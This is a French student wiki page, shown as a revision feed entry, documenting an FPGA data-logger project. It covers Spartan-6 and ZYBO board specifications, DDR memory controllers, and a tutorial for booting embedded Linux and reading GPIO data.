		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27724"/>
				<updated>2016-02-23T19:26:35Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Récupération des données des GPIOs */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto8.PNG|100px|thumb|right|o°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ».&amp;lt;br&amp;gt;&lt;br /&gt;
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED.&amp;lt;br&amp;gt;&lt;br /&gt;
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. &amp;lt;br&amp;gt;&lt;br /&gt;
p°) Dans le flow navigator, cliquer sur create bitstream.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Préparation et utilisation de la carte µSD=====&lt;br /&gt;
q°)Dans notre dossier de travail, nous avons 4 fichiers :&lt;br /&gt;
*boot.bin&lt;br /&gt;
*devicetree.dtb&lt;br /&gt;
*uImage&lt;br /&gt;
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted.&amp;lt;br&amp;gt;&lt;br /&gt;
s°)Copier les quatre fichiers sur la partition de 36Mo.&amp;lt;br&amp;gt;&lt;br /&gt;
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python.&amp;lt;br&amp;gt;&lt;br /&gt;
=====Récupération des données des GPIOs=====&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.&lt;br /&gt;
	On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.&lt;br /&gt;
	Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On voit que les offset des LED et des SWITCH correspondent.&lt;br /&gt;
	J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. &amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Tuto9.PNG|500px|thumb|center)]]&lt;br /&gt;
Rapport de projet&lt;br /&gt;
|&lt;br /&gt;
2015 / 2016&lt;br /&gt;
Récupération des données des GPIOs&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans &lt;br /&gt;
Pack_bit&lt;br /&gt;
 si vous n'avez pas fait votre&lt;br /&gt;
propre bitstream&lt;br /&gt;
ou dans Vivado → Open Block Design → Adress Editor, va nous servir.&lt;br /&gt;
On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.&lt;br /&gt;
Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un&lt;br /&gt;
fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans&lt;br /&gt;
/dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que&lt;br /&gt;
l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado:&lt;br /&gt;
[[Fichier:Adress_map.PNG|500px|thumb|center)]]&lt;br /&gt;
&lt;br /&gt;
On voit que les offset des LED&lt;br /&gt;
et des SWITCH correspondent.&lt;br /&gt;
J'ai ensuite crée un serveur&lt;br /&gt;
apache sur le linux du ZYBO et j'ai&lt;br /&gt;
affiché les données que j'ai collécté&lt;br /&gt;
sur un graphique que je peux atteindre&lt;br /&gt;
en tapant l'adresse ip de la machine.&lt;br /&gt;
J'ai   pu   mesurer   la   vitesse&lt;br /&gt;
d'acquisition   des   données,   celle   ci&lt;br /&gt;
n'est pas très élevé. On obtient 180 Ko/s. Ce&lt;br /&gt;
pendant cette méthode est utile si on veut&lt;br /&gt;
récupérer les données qui sont dans la RAM.&lt;br /&gt;
En effet, j'ai pu tester des codes en C qui&lt;br /&gt;
permettent   de   récupérer   directement   les&lt;br /&gt;
données qui sont dans la RAM à partir du linux&lt;br /&gt;
embarqué.&lt;br /&gt;
&lt;br /&gt;
==Fichiers==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR3&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27722</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27722"/>
				<updated>2016-02-23T19:24:01Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Récupération des données des GPIOs */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
